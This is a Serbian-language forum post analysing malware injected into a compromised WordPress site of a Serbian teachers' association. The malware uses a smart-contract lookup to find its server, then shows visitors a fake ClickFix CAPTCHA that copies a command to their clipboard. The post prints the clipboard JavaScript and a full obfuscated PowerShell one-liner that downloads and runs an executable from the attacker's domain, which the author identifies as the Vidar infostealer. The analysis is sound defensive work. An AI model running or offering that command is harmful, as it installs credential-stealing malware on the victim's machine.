[milos_rs]

UNS - Udruženje nastavnika Srbije "Panel". Kompromitovani Wordpress... naravno

Code:

unspanel.rs has address 85.17.233.121

   

Zlonamerna skripta ubačena na sajt prvo zbog redundanse pita gomilu Polygon RPC krajnjih tačaka za specifičan pametan ugovor :

   

Od tog pametnog ugovora dobije domen za dalji kontakt :

   

Domen koji dobije je pokese.pro, prvo pita za konfiguraciju krajnje tačke koja služi clickfix :

   

Vidimo da je upaljen i da opslužuje samo Windows platforme.

Dalje učita ovu landing stranicu koju je dobio u prethodnom odgovoru, na njoj se nalazi HTML i slike za clickfix stranicu koju prikazuje posetiocu to je ono što se vidi na prvom snimku ekrana gore :

   

Takođe učita i "cloudflare.js — ClickFix Cloudflare CAPTCHA module" :

   

Ovde se nalazi razna logika za funkcionisanje "captcha" stranice, prevod teksta stranice na 25 jezika kao i logika za kopiranje teksta u klipbord :

Code:

  // Clipboard helpers   function copyToClipboard(str) {     if (navigator.clipboard && navigator.clipboard.writeText) {       navigator.clipboard.writeText(str).catch(function() {         fallbackCopy(str);       });     } else {       fallbackCopy(str);     }   }   function fallbackCopy(str) {     var el = document.createElement('textarea');     el.value = str;     el.setAttribute('readonly', '');     el.style.position = 'absolute';     el.style.left = '-9999px';     document.body.appendChild(el);     el.select();     document.execCommand('copy');     document.body.removeChild(el);   }

Onda krajnjoj tački šalje neke podatke posetioca :

   

Onda sa krajnje tačke učitava kôd koji će biti kopiran u lokalni klipbord na računaru :

   

Code:

powershell -NoP -w h -ep bypass -c "$h='pokese.'+'pro';$n='8e3c36a6.exe';$u='https://'+$h+'/'+$n;$f=$env:TEMP+'\x.exe';[Net.WebClient]::new().('Down'+'loadFile')($u,$f);Unblock-File $f -EA 0;ri ($f+':Zone.Identifier') -EA 0;$env:SEE_MASK_NOZONECHECKS=1;& $f"

Objašnjenje prepuštam Deepseek-u :

   

Fajl koji se preuzme i pokrene na računaru je Vidar infostealer

https://www.virustotal.com/gui/file/ea21...c7f4443045